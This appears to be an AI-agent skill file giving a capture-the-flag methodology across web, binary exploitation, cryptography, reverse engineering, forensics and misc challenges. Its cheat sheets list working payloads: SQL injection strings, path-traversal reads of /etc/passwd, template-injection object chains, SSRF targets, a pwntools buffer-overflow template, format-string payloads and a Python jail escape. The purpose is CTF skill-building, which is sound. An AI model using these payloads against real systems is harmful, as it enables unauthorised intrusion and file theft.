| name | sentinel-ctf |
| description | Use for CTF (Capture The Flag) challenges — web exploitation, binary pwn, cryptography, reverse engineering, forensics, and misc. Invoke when user mentions "CTF", "flag{", "challenge", "HackTheBox", "TryHackMe", "PicoCTF", "pwn", or shares a challenge description asking how to solve it. |
Sentinel: CTF
CTF challenges are purpose-built security puzzles. Unlike real engagements, the goal is clear: find the flag.
Core principle: Identify the category, apply the methodology, iterate fast. CTF is a skill-building exercise — brute force guessing wastes time.
Step 0: Classify the Challenge
Read the challenge description and determine category:
| Category | Indicators |
|---|
| Web | URL given, mentions cookies/sessions/admin panel |
| Pwn | Binary file given, mentions buffer overflow, ROP, shellcode |
| Crypto | Ciphertext, encryption algorithm, key material given |
| Reverse | Executable to analyze, "find the password", no network |
| Forensics | Image/PCAP/file to analyze, "what happened", steganography |
| Misc | Doesn't fit above, often encoding/OSINT/jail escape |
Then jump to the relevant section below.
Web Challenges
Methodology
- Spider the app — what pages, forms, parameters exist?
- Check source code — comments, hidden inputs, JS files
- Check cookies — base64? JWT? Serialized object?
- Try obvious things — admin/admin, SQLi in login, directory traversal
- Fuzz parameters — what inputs does the app accept?
Common Web CTF Patterns
SQL Injection:
' OR '1'='1
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT table_name,NULL FROM information_schema.tables
LFI → RCE path:
?page=../../../../etc/passwd # verify LFI
?page=../../../../proc/self/environ # try env poisoning
?page=php://filter/convert.base64-encode/resource=index.php # read source
PHP Type Juggling:
SSTI (Server-Side Template Injection):
{{7*7}} # Jinja2/Twig — should output 49
${7*7} # FreeMarker
<%= 7*7 %> # ERB
{{config}} # Jinja2 — dump config
{{''.__class__.__mro__[1].__subclasses__()}} # Python object chain
JWT attacks:
echo "eyJ..." | base64 -d
SSRF in CTF:
http://127.0.0.1/flag
http://localhost:8080/admin
http://[::]:80/
file:///etc/passwd
dict://127.0.0.1:6379/ # Redis
Pwn (Binary Exploitation)
Initial Analysis
file challenge
checksec challenge
strings challenge | grep -i flag
ltrace ./challenge
strace ./challenge
Protection Reference
| Protection | Bypass Technique |
|---|
| No NX | Shellcode injection |
| NX + No ASLR | ret2libc, ROP chain |
| NX + ASLR | Leak libc address first, then ret2libc |
| Canary | Leak or overwrite canary |
| Full RELRO | Can't overwrite GOT, target other structures |
Buffer Overflow — Quick Path
from pwn import *
cyclic(200)
from pwn import *
elf = ELF('./challenge')
p = process('./challenge')
offset = 72
ret_gadget = 0x...
win_func = elf.sym['win']
payload = b'A' * offset
payload += p64(ret_gadget)
payload += p64(win_func)
p.sendline(payload)
p.interactive()
Format String
payload = b'%p.' * 20
payload = b'%7$s' + addr
payload = fmtstr_payload(offset, {target_addr: value})
Heap Exploitation Quick Reference
- Use-After-Free: Access freed chunk via dangling pointer
- Double Free: Corrupt freelist to get overlapping allocations
- Heap Overflow: Overwrite adjacent chunk metadata
Crypto Challenges
Step 1: Identify the Algorithm
- Block cipher? (fixed-size ciphertext blocks) → AES, DES, Blowfish
- Stream cipher? (XOR keystream) → RC4, ChaCha20
- Asymmetric? (public key given) → RSA, ECC, ElGamal
- Custom/unknown? → look for patterns, frequency analysis
RSA Common Attacks
from Crypto.Util.number import *
import gmpy2
m, exact = gmpy2.iroot(c, e)
Classical Ciphers
for i in range(26):
print(i, ''.join(chr((ord(c)-65+i)%26+65) if c.isalpha() else c for c in ct.upper()))
XOR Patterns
for k in range(256):
result = bytes([b ^ k for b in ciphertext])
if b'flag' in result or result.isascii():
print(k, result)
Reverse Engineering
Static Analysis First
file challenge
strings challenge | grep -E 'flag|CTF|key|pass'
objdump -d challenge | head -100
ghidra &
ida &
Dynamic Analysis
ltrace ./challenge
strace ./challenge
gdb ./challenge
break main
run
disas main
info registers
GDB Shortcuts
b *0x401234 # breakpoint at address
b main # breakpoint at function
r < input.txt # run with input
ni / si # next instruction / step into
x/20x $rsp # examine stack
p system # print address of system
find &system, +9999999, "/bin/sh" # find string in memory
Angr (Symbolic Execution) — when logic is complex
import angr
proj = angr.Project('./challenge', auto_load_libs=False)
state = proj.factory.entry_state(args=['./challenge'])
simgr = proj.factory.simgr(state)
simgr.explore(find=0x401234,
avoid=0x401456)
if simgr.found:
print(simgr.found[0].posix.dumps(0))
Forensics / Steganography
File Analysis
file suspicious
xxd suspicious | head -20
binwalk suspicious
foremost suspicious
exiftool suspicious
strings suspicious | grep -i flag
Image Steganography
steghide extract -sf image.jpg
stegsolve
zsteg image.png
outguess -r image.jpg output.txt
PCAP Analysis
wireshark capture.pcap
tshark -r capture.pcap -Y "http"
tshark -r capture.pcap -T fields -e http.file_data
strings capture.pcap | grep flag
Encoding Quick Reference
echo "SGVsbG8=" | base64 -d
echo "48656c6c6f" | xxd -r -p
echo "01001000" | python3 -c "import sys; print(''.join(chr(int(b,2)) for b in sys.stdin.read().split()))"
python3 -c "from urllib.parse import unquote; print(unquote('%48%65%6c%6c%6f'))"
Misc
Common Misc Patterns
- Jail escape (pyjail):
__import__('os').system('cat flag')
- QR codes:
zbarimg image.png
- Morse/Braille/Semaphore: look for pattern, decode manually or use CyberChef
- OSINT: look for metadata, reverse image search, username search
- Audio: open in Audacity, check spectrogram view
CyberChef
Use https://cyberchef.org for rapid encoding/decoding chains. It handles base64, hex, XOR, AES, and hundreds of other transforms visually.
Flag Submission Checklist
Before declaring "no flag found":
- Did you check the source page comments?
- Did you try the obvious flag format? (
flag{}, CTF{}, picoCTF{})
- Did you decode/decompress the output?
- Did you try running the binary with
./challenge flag as argument?
- Did you check all files in an archive, not just the obvious one?
Integration
- For web challenge source code analysis:
sentinel:sentinel-audit
- When a pwn challenge involves debugging:
sentinel:sentinel-workflow (systematic root-cause tracing)